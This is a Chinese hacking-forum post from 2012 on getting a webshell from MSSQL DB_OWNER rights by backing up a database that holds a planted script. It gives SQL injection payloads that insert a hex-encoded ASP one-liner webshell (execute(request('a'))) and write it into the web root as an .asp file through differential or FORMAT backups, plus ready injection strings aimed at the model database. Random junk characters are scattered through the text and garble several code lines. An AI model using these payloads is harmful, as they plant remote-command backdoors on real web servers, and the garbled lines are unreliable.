找回密码
 立即注册
查看: 3160|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:8 q& h4 o  ~/ P: {0 N+ g
9 Z3 d$ q8 \5 H% \" c# }# Z$ k& N
减少备份文件大小,得到可执行的webshell成功率提高不少: H5 _  F6 Q* t4 n+ r
一利用差异备份7 m% n% a2 c. s8 ~3 {7 R
加一个参数WITH DIFFERENTIAL
- Z. W' y- t. R2 U' E
# T5 o/ l, h  }8 |* o1  h! g1 z6 |0 B1 V) C( o$ w5 u
2. R* A% [+ K& b+ c6 }" d. O5 k8 Z2 U2 @
3! y$ d) ?/ C$ d9 \, g( ?
4
2 K8 X: y8 O+ c; d declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ x) K/ L9 c) v4 p3 t; Z  icreate table [dbo].[xiaolu] ([cmd] [image]);7 Q: i* {5 S& f, @$ o3 e8 o
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; j8 Y1 d1 W, h  n% Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
& ?: [, V2 w$ L
8 B# l( w& x; |6 a二利用完全FORMAT
6 L6 V4 \3 h' \9 n. F+ p6 P/ h$ I$ Z加一个参数WITH FROMAT! `/ [" d- F/ A9 c2 |+ R6 J, O2 A
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
6 |% S" p' b1 e: ~' U4 k
# W6 Z: S1 G0 r8 w. z1
9 w& Z" w, _6 X6 p7 S* s2
2 f- |1 ~$ ^8 V, z3
4 U& m7 L8 v3 _1 U; y4! V2 u* u. u* U6 \& f: e0 K; v" R; x
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s6 a) H% R8 |& J: R) z
create table [dbo].[xiaolu] ([cmd] [image]);
$ X! I9 O: y- [; z( l' dinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 E* `+ P$ r+ [7 ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT ( W! d) X$ ~, O. L

) j% r3 M$ l* @! ]8 D- \6 y/ v  M总的来说就是那么简单几句,下面以备份数据库model为例子
! i' D: J! t( Q- B12 h6 P- s" D! ?
9 _9 [8 r8 }1 ]! x1 v, |7 h. M
1. \, K/ a  k2 h" U4 t
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') # T+ [5 [+ L7 y7 T/ @& m
  O7 j/ ]$ p0 h7 B. r  L
2
, T4 l/ h- ^' k7 k8 W  [% a3 R! o  ?( d  u0 h4 d% L) a
19 T, i3 W! f) k4 C4 E
id=1;backup database model to disk='你的路径‘ with differential,format;--
9 }9 [3 ~( [! j) y' Z3 w6 x7 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表